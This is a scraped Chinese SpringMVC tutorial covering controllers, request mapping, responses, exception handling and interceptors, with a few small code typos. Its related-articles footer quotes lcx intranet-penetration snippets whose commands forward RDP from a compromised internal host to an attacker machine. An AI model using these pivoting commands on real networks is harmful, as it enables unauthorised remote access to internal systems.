史上最全的SpringMVC教程,终于整理出来了

article/2025/8/24 3:58:47

1. 为啥要学 SpringMVC?

1.1 SpringMVC 简介

在学习 SpringMVC 之前我们先看看在使用 Servlet 的时候我们是如何处理用户请求的:

  1. 配置web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><!--将 Servlet接口实现类交给Tomcat管理--><servlet><servlet-name>userServlet</servlet-name> <!--Servlet接口实现类名称--><servlet-class>com.xxl.controller.UserServlet</servlet-class><!--声明servlet接口实现类类路径--></servlet><servlet-mapping><servlet-name>userServlet</servlet-name><url-pattern>/user</url-pattern>  <!--设置Servlet类的请求路径,必须以 / 开头--></servlet-mapping>
</web-app>
复制代码
  1. 继承 HttpServlet,实现 doGet 和 doPost 方法
public class UserServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 这里用来处理用户的 get 请求System.out.println("哈哈哈哈哈哈我头上有注解");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 这里用来处理用户的 post 请求System.out.println("接收到用户的 post 请求");}
}
复制代码
  1. 获取请求参数

String name = request.getParameter("name");String age = request.getParameter("age");
....复制代码

一顿操作下来,我们发现用 Servlet 处理用户的请求也太麻烦了吧。

每个 Servlet 都要继承 HttpServlet、重写两个方法,我们需要写一堆 getParameter() 方法来获取请求参数,而且还要做数据类型的转换。

那有没有一个别人封装好的工具或者是框架让我少写这些重复性的代码呢?

SpringMVC闪亮登场。

SpringMVC 是一种轻量级的、基于 MVC 的 Web 层应用框架,它属于 Spring 框架的一部分。SpringMVC 说白了就是对 Servlet 进行了封装,方便大家使用。

1.2 SpringMVC 优点

  • 天生与 Spring 集成
  • 支持 Restful 风格开发
  • 便于与其他视图技术集成,例如 theamleaf、freemarker等
  • 强大的异常处理
  • 对静态资源的支持

总之就是好用!

2. HelloWorld

这里我们先来开发一个基于 SpringMVC 的程序,感受一下 SpringMVC 的迷人特性。

  • 开发工具:IDEA
  • 构建工具:Maven

2.1 新建基于 Maven 的 web 项目

2.2 加入依赖

<!-- servlet -->
<dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version>
</dependency>
<!--springmvc -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>5.2.8.RELEASE</version>
</dependency>
<!-- junit -->
<dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope>
</dependency>
复制代码

2.3 创建中央调度器

DispatcherServlet 是 SpringMVC 的中央调度器,它主要负责加载 SpringMVC 的配置。

从它的名字来看,他也属于一个 Servlet,遵守 Servlet 规范。所以我们需要在 web.xml 中创建 DispatcherServlet。

web.xml

<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app><!--servlet: DispatcherServlet--><servlet><servlet-name>SpringMVC</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><init-param><param-name>contextConfigLocation</param-name><param-value>classpath:springmvc.xml</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>SpringMVC</servlet-name><url-pattern>/</url-pattern></servlet-mapping>
</web-app>
复制代码

2.4 创建 SpringMVC 的配置文件

这里我们在 src/resources 资源目录下创建 SpringMVC的配置文件 springmvc.xml,该文件名字可以任意命名。

springmvc.xml:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"></beans>
复制代码

2.5 创建处理请求的处理器

TestController:

/**
* @Desc: 处理器
* @Author: 知否技术
* @date: 下午7:39 2022/4/29
*/
@Controller
public class TestController {@RequestMapping("/hello")public ModelAndView sayHello() {ModelAndView mv = new ModelAndView();mv.addObject("msg", "你好啊,李银河,我是王小波。");mv.setViewName("/hello.jsp");return mv;}
}
复制代码

2.6 声明组件扫描器

我们在 springmvc.xml 中注册组件扫描器,


<!-- 扫描组件,将加上@Controller注解的类作为SpringMVC的控制层 -->
<context:component-scan base-package="com.zhifou"></context:component-scan>
复制代码

2.7 创建 jsp 页面

2.8 配置视图解析器

我们需要在 springmvc.xml 中配置请求文件的路径和文件后缀。

<!-- 配置视图解析器作用:将prefix + 视图名称 + suffix 确定最终要跳转的页面-->
<bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver"><property name="prefix" value="/WEB-INF/view/"></property><property name="suffix" value=".jsp"></property>
</bean>
复制代码

2.9 修改处理器请求文件路径

因为我们指定了请求文件的后缀是 .jsp,所以这里可以省略。

2.10 配置 tomcat,启动项目测试

3. 请求

3.1 @RequestMapping

@RequestMapping 注解用来指定处理哪些 URL 请求。

3.1.1 注解常用属性

  1. value

value 用来表示请求的 url,可以省略不写

@RequestMapping(value = "/hello")
复制代码

简写

@RequestMapping("/hello")
复制代码
  1. method

method 用来表示请求方式,不写的话默认是 GET 请求。常用的请求方式:

POST、GET、PUT、DELETE
复制代码

如果使用 method 属性,不能省略 value 属性。

@RequestMapping(value = "/hello",method = RequestMethod.GET)public ModelAndView sayHello() {ModelAndView mv = new ModelAndView();mv.addObject("message", "你好啊,李银河,我是王小波。");mv.setViewName("/hello");return mv;
}
复制代码

3.1.2 标记位置

  1. 标记在类上面

一个系统包含很多模块,例如用户、商品、订单等模块。

我们需要为不同的模块定义不同的类,然后在类上面添加 @RequestMapping 注解,表示这个模块下面统一的请求路径:例如:

// 用户操作控制器
@Controller
@RequestMapping("/user")
public class UserController {}
// 订单操作控制器
@Controller
@RequestMapping("/order")
public class OrderController {}
...
复制代码
  1. 标记在方法上面

每个模块都有很多方法,例如增删改查等。所以我们一般会在相应的方法上面添加 @RequestMapping 注解,表示请求这个模块下的某个方法,例如:

@Controller
@RequestMapping("/user")
public class UserController {@RequestMapping("/list")public Object list() {return null;}@RequestMapping(value = "/add",method = RequestMethod.POST)public Object add() {return null;}@RequestMapping(value = "/update",method = RequestMethod.POST)public Object update() {return null;}@RequestMapping(value = "/delete",method = RequestMethod.DELETE)public Object delete() {return null;}
}
复制代码

所以当我们获取用户列表信息时,我们请求的后台接口的 url 就是:

ip地址:端口号/项目名/uset/list
//例如:
localhost:8080/ems/user/list
复制代码

3.1.3 @RequestMapping 的缩写注解

方法上关于不同请求方式的注解都比较长,例如:

 @RequestMapping(value = "/add",method = RequestMethod.POST)
复制代码

SpringMVC 为我们提供了简化写法:

GET请求:

@GetMapping("/list")
复制代码

POST 请求:

@PostMapping("/login")
复制代码

DELETE 请求:

@DeleteMapping("/delete/{id}")
复制代码

PUT 请求

@PutMapping("/update")
复制代码

3.2 接收请求参数

3.2.1 接收多个参数

@PostMapping("/login")
public Result<User> login(String username,String password) {User user = userService.login(username, password);return Result.success(user);}
复制代码

3.2.2 实体类作为参数

Spring MVC 会按请求参数名和 POJO 属性名进行自动匹配,自动为该对象填充属性值。

@PostMapping("/login")
public Result<User> login(User user){User user = userService.login(user.getUsername(), user.getPassword);return Result.success(user);
}
复制代码

3.2.3 @RequestParam 注解

使用 @RequestParam 可以把请求参数传递给请求方法。

属性:

  1. value:参数名
  2. required:是否必须。默认为 true, 表示请求参数中必须包含对应的参数,若不存在,将抛出异常
  3. defaultValue: 默认值,当没有传递参数时使用该值
@PostMapping("/login")
public Result<User> login(@RequestParam String username, @RequestParam String password) {User user = userService.login(username, password);return Result.success(user);
}
复制代码

3.2.4 @PathVariable 注解

通过 @PathVariable 可以将 URL 中占位符参数绑定到控制器处理方法的入参中。

URL 中的 {xxx} 占位符可以通过 @PathVariable("xxx")绑定到操作方法的入参中。

@DeleteMapping(value = "/delete/{id}")
public Result<?> delete(@PathVariable("id") int id) {userService.remove(id);return Result.success();
}
复制代码

3.3 解决中文乱码

请求参数如果含有中文,会出现中文乱码问题。我们可以通过在 web.xml 中配置字符过滤器来解决中文乱码问题。

<filter><filter-name>encodingFilter</filter-name><filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class><init-param><param-name>encoding</param-name><param-value>UTF-8</param-value></init-param><init-param><param-name>forceEncoding</param-name><param-value>true</param-value></init-param>
</filter>
<filter-mapping><filter-name>encodingFilter</filter-name><url-pattern>/*</url-pattern>
</filter-mapping>
复制代码

注:filter 标签要在 servlet 标签之上

4. 响应

SpringMVC 提供了以下几种方式处理响应数据。

4.1 返回 String

  1. SpringMVC 的视图解析器将返回的字符串转换为视图(页面)。
@GetMapping("/hello")
public String toHello() {return "/hello";
}
复制代码
  1. 重定向:

使用 redirect 关键字可以重定向到其他页面。

@GetMapping("/hello")
public String toHello() {return "redirect:/hello";
}
复制代码

4.2 返回 ModelAndView

控制器在处理完用户的请求之后,如果既想跳转页面,又想传递数据,可以使用 ModelAndView 对象。

@RequestMapping(value = "/hello",method = RequestMethod.GET)public ModelAndView sayHello() {ModelAndView mv = new ModelAndView();mv.addObject("message", "你好啊,李银河,我是王小波。");mv.setViewName("/hello");return mv;
}
复制代码

4.3 返回 Model

Mode 对象也可以在跳转页面的时候传递数据。

@GetMapping("/print")
public String print(Model model) {model.addAttribute("msg", "祝大家五一快乐!");return "/hello";
}
复制代码

4.4 返回 json

  1. 控制器的方法也可以返回 Object 对象,但返回的对象不是作为视图出现的,而是作为页面上显示的数据。

返回对象,需要使用 @ResponseBody 注解将对象转换为 json 格式的数据响应给浏览器。

@GetMapping(value = "/print", produces = "application/json;charset=utf8")
@ResponseBody
public Object print() {User user = new User(11111L, "张无忌", 12);String json = JSONUtil.toJsonStr(user);return json;
}
复制代码

如果遇到中文乱码的问题,我们可以在 @GetMapping 注解里面设置 produces 属性。

  1. @RestController 注解

@RestController 注解是 @Controller 和 @ResponseBody 注解的组合注解,表示这个控制器中所有的方法全都返回 json 格式的数据。

4.5 返回 void

有时候我们不需要跳转页面,也不需要转发数据,我们只是希望浏览器能够渲染数据(例如后台向前台输出验证码)。这时候可以使用 HttpServletResponse 向浏览器输出数据。

@GetMapping("/print")
public void print(HttpServletResponse response) throws IOException {/*解决响应数据中文乱码问题*/response.setContentType("text/html;charset=utf8");PrintWriter writer = response.getWriter();writer.print("祝大家五一快乐");writer.flush();writer.close();
}
复制代码

5. 访问静态资源

我们在 web.xml 中配置 url-pattern 为 /,当我们请求项目的静态资源的时候,SpringMVC 的中央调度器会先根据处理器映射器寻找相应的处理器,结果没找到,所以请求静态资源会报 404。

我们可以使用 mvc:resources 标签来解决无法访问静态资源的问题。

但是 DispatcherServlet 的映射路径为 /,而 Tomcat 默认的 Servlet 的映射路径也为/,所以 DispatcherServlet 会覆盖 Tomcat 中默认的 Servlet,去处理除 jsp 之外的所有资源,导致静态资源无法被访问。

所以这里还需要结合另外一个标签使用:

<!-- static/**表示该目录下所有文件-->
<mvc:resources mapping="/static/**" location="/static/"/>
<mvc:annotation-driven/>
复制代码

这里我们测试访问项目中的照片:

@GetMapping("/hello")
public String toHello() {return "/hello";
}
复制代码

6. 全局异常处理

在开发过程中我们会遇到各种各样的异常,我们会有两种处理方式:

  1. try-catch 捕获
  2. throws 抛出异常

但是用户不希望看到一堆异常信息:

即便是程序出错了,他们也希望看到一些看得懂的错误信息,例如:

{code: 500,message: '该商品信息不存在,请联系管理员'
}
复制代码

所以我们需要搞一个全局异常处理器先捕获这些错误信息,然后返回给用户统一的结果信息。

  1. 创建全局异常处理器
@RestControllerAdvice
public class GlobalExceptionHandler {//自定义异常处理器@ExceptionHandler(CustomException.class)public Result CustomExceptionHandler(Exception e) {return Result.fail(500,e.getMessage());}
}
复制代码

@RestControllerAdvice:表示这个类是全局异常处理器,返回的格式是 json 格式。

@ExceptionHandler:捕获的异常类型

  1. 创建自定义异常
/*** @Desc: 自定义异常* @Author: 知否技术* @date: 下午8:05 2022/5/3*/
public class CustomException  extends  RuntimeException{public CustomException(String message) {super(message);}
}
复制代码

因为大部分异常是运行时异常,所以这里自定义的异常继承了运行时异常。

  1. 封装返回的统一结果类
/*** @Desc: 统一结果类* @Author: 知否技术* @date: 下午9:02 2022/5/3*/
public class Result implements Serializable {private int code;private String message;private Object data;private Result(String message) {this.code = 200;this.message = message;}private Result(String message, Object data) {this.code = 200;this.message = message;this.data = data;}private Result(int code, String message) {this.code = code;this.message = message;}public static Result success(String message) {return new Result(message);}public static Result success(String message, Object data) {return new Result(message, data);}public static Result fail(int code, String message) {return new Result(code, message);}public int getCode() {return code;}public void setCode(int code) {this.code = code;}public String getMessage() {return message;}public void setMessage(String message) {this.message = message;}public Object getData() {return data;}public void setData(Object data) {this.data = data;}
}
复制代码
  1. 测试
@GetMapping("/hello")
@ResponseBody
public Result toHello() {throw new CustomException("卧槽!!出错了");
}
复制代码

7. 拦截器

SpringMVC 中的拦截器主要是用来拦截用户的请求,并进行相关的处理。

实现拦截器:

  1. 创建拦截器
/*** @Desc:* @Author: 知否技术* @date: 下午2:09 2022/5/3*/
public class MyInterceptor implements HandlerInterceptor {// 在处理器中方法执行之前执行@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {return false;}// 在处理器中方法执行之后执行@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {}
}
复制代码
  1. 配置拦截器
<!-- 配置拦截器 -->
<mvc:interceptors><mvc:interceptor><!--拦截所有请求--><mvc:mapping path="/**"/><!--排除请求--><mvc:exclude-mapping path="/user/login"/><bean class="com.zhifou.interceptor.MyInterceptor"></bean></mvc:interceptor>
</mvc:interceptors>
复制代码

测试:

8. SpringMVC 执行流程

1.Tomcat 服务器启动的时候会立即创建 DispatcherServlet(中央调度器),同时会创建 SpringMVC 容器。

2.SpringMVC 容器初始化的时候会先根据配置文件中的组件扫描器先扫描一下哪些类上面有 @Controller 注解,并将这些类作为处理器类。

然后通过 @RequestMapping 注解生成对应的映射关系。这些对应关系由处理器映射器管理。

3.当收到用户的请求,中央调度器将请求转发给处理器映射器。

4.处理器映射器根据用户请求的 URL 从映射关系中找到处理该请求的处理器,然后封装成处理器执行链返回给中央处理器。

5.中央调度器根据处理器执行链中的处理器,找到能够执行该处理器的处理器适配器,处理器适配器调用执行处理器。

6.处理器将处理结果及要跳转的视图封装到 ModelAndView 中,并将其返回给处理器适配器。

7.处理器适配器直接将结果返回给中央调度器,中央调度器调用视图解析器,将 ModelAndView 中的视图名称封装为视图对象。

8.视图解析器将封装了的视图对象返回给中央调度器,中央调度器调用视图对象,填充数据,生成响应对象。

9.中央调度器将结果响应给浏览器。


http://chatgpt.dhexx.cn/article/twqr5f7V.shtml

相关文章

史上最全面最易懂的,Spring框架学习教程

Spring通过PlatformTransactionManager平台事务管理器接口对事务的管理进行高度抽象&#xff0c;但是该接口下具体的实现是由各个平台自己实现&#xff0c;Spring并不直接管理事务&#xff0c;而是提供了多种事务管理器&#xff0c;也就是对各个平台的事务管理进行封装&#xf…

Spring 入门教程

Spring 入门教程 1、参考资料 尚硅谷-Spring5框架最新版教程&#xff08;idea版&#xff09;雷丰阳spring、springmvc、mybatis、spring一站式学习 项目地址&#xff1a;Oneby / spring-learn 2、Spring 概述 2.1、Spring 框架概述 Spring 是轻量级的开源的 JavaEE 框架 Sp…

spring框架教程

Spring框架 一、spring简介 简介&#xff1a;spring框架是一个轻量级的控制反转和面向切面的容器框架&#xff0c;用来解决项目开发中的复杂度问题–解耦 轻量级&#xff1a;体积小&#xff0c;对代码没有侵入性&#xff08;代码侵入性&#xff1a;指的是业务代码中不会调用sp…

一文学会Spring,Spring最简单的入门教程(万字好文)

1.Spring概述 1.1 Spring框架是什么 ​ Spring是与2003年兴起的一个轻量级的Java开发框架&#xff0c;它是为了解决企业应用开发的复杂性而创建的。Spring的核心是控制反转(IOC)和面向切面编程(AOP)。Spring是可以在Java SE/EE中使用的轻量级开源框架。 ​ Spring的主要作用…

lcx 内网转发

把放置到已经控制的内网主机 执行 内网主机输入命令lcx.exe -slave 外网ip 外网端口 内网ip 内网端口lcx.exe -slave 30.1.85.55 2222 127.0.0.1 3389 外网主机输入命令lcx.exe -listen 2222 3388 打开 mstsc ip&#xff1a;3388

lcx使用

lcx使用 win7 192.168.5.101 win 10 192.168.0.31 kali 192.168.5.102 lcx 本机: lcx -listen 2222 3333 2222为转发端口&#xff0c;3333为本机任意未被占用的端口 肉鸡&#xff1a;lcx -slave 2.2.2.2 2222 127.0.0.1 3389 2.2.2.2 为本机IP,2222为转发端口&#xff0c;…

lcx实现端口转发

LCX转发实验一 环境&#xff1a;内网3389端口不对外开放&#xff0c;但是1234端口对外开放&#xff08;正向连接&#xff09; lcx .exe –tran 1234 127.0.0.1 3389过程&#xff1a;192.168.1.105: 1234 -> 3389 LCX转发实验二 环境&#xff1a;内网主机可以访问外网80端口…

端口转发lcx工具+nc反弹工具使用

一、lcx工具 lcx.exe是一个端口转发工具&#xff0c;有Windows版和Linux版两个版本&#xff0c;Windows版是lcx.exe,Linux版为portmap&#xff0c; Windows版使用方法如下&#xff1a; 1、 lcx 内网端口转发 本机IP:192.168.1.10 目标机IP&#xff1a;192.168.1.5 本机运行…

lcx的使用-内网穿透

lcx有两个功能映射(slave)和转发(tran) 简单看个列子&#xff1a; 映射(slave) 第一步&#xff1a; 我在攻击机上执行此命令 lcx -listen 3333 2222此命令表示我监听3333端口&#xff0c;并把3333端口映射到2222端口 第二步&#xff1a; 我在靶机上执行此命令&#xff1a; …

流量映射端口反弹(lcx,ew)

转载自西梅哥的有道云&#xff1a; https://note.youdao.com/ynoteshare1/index.html?ida6bf797cce0b6087cb78b44818dca69f&typenote 内网应用 一、端口转发工具&#xff1a; 1.LCX&#xff08;支持双系统&#xff09; A、window&#xff08;LCX&#xff09; 上传一些…

利用lcx作端口映射

端口映射 端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口&#xff0c;提供相应的服务。 当用户访问外网IP的这个端口时&#xff0c;服务器自动将请求映射到对应局域网内部的机器上。比如&#xff0c;我们在内网中有一台Web服务器&#xff0c;但是外网中的用户…

Lcx端口转发初探

最近写了一个简单的威胁分析专家系统Gui图形界面工具&#xff0c;可以快速判断失陷主机&#xff0c;给出失陷隶属度&#xff0c;非常人性化&#xff0c;压缩包大小有20M。实际上&#xff0c;这个小工具可以帮助一线驻场人员&#xff0c;快速定位高危主机&#xff0c;并给所有主…

隐藏隧道通信:lcx 端口转发

郑重声明&#xff1a; 本笔记编写目的只用于安全知识提升&#xff0c;并与更多人共享安全知识&#xff0c;切勿使用笔记中的技术进行违法活动&#xff0c;利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责&#xff0c;共同维护网络文明和谐。 隐藏隧道通信…

lcx端口转发linux_技术干货 | 内网渗透之代理转发

1 前言 谈到内网转发&#xff0c;在我们日常的渗透测试过程中经常会用到端口转发&#xff0c;可以利用代理脚本将内网的流量代理到本地进行访问&#xff0c;这样极大的方便了我们对内网进行横向渗透。 那为什么不直接通过登陆服务器来对内网中其他机器进行渗透&#xff0c;而是…

lcx用法

lcx.exe是一个端口转发工具&#xff0c;有Windows版和Linux版两个版本&#xff0c;Windows版是lcx.exe,Linux版为portmap Windows版使用方法如下&#xff1a; lcx有两大功能&#xff1a; 1&#xff09;端口转发(listen和slave成对使用) 2&#xff09;端口映射(tran) 1、lcx 内网…

lcx端口转发

lcx端口转发&#xff1a; 本文主要通过讲解lcx的本地端口及远程端口转发&#xff0c;让能熟练使用lcx端口转发工具&#xff0c;对端口转发知识有更加深入了解&#xff0c;本次实验靶场来源于暗月(moonsec)师傅,本文内容全由本人通过学习理解编制&#xff0c;文中若有错处&…

LCX端⼝转发

LCX是一款十分经典的内网端口转发工具&#xff0c;基于Socket套接字&#xff0c;具有端口转发和端口映射的功能。但是目前很多杀软已经将其加入了特征库&#xff0c;在实际利用的时候需要自行做免杀处理。 lcx有三个功能&#xff1a; 第一个功能将本地端口转发到本地另一个端口…

网络安全——lcx的使用

lcx程序可以作远程连接&#xff0c;入侵靶机 下面用win7系统和2003系统作对象 1、 Win7系统作攻击机&#xff08;IP&#xff1a;192.168.184.134&#xff09; 2003系统作靶机&#xff08;被攻击的对象&#xff09;&#xff08;IP&#xff1a;192.168.184.101&#xff09; …

lcx使用方法

lcx实现端口转发 概念 比较经典的就是lcx。简单说一下概念&#xff0c;首先内网中的主机一般都是使用的私有ip&#xff0c;在网络出口处经过NAT转换为公网ip后&#xff0c;才能访问internet。 所以&#xff0c;有时当我们进入网站后台cmd&#xff0c;或者捕获了一台内网中的肉…

端口转发之 lcx

lcx.exe是一个端口转发工具&#xff0c;有Windows版和Linux版两个版本&#xff0c;Windows版是lcx.exe,Linux版为portmap Windows版使用方法如下&#xff1a; lcx有两大功能&#xff1a; 1&#xff09;端口转发(listen和slave成对使用) 2&#xff09;端口映射(tran) 1、lcx 内网…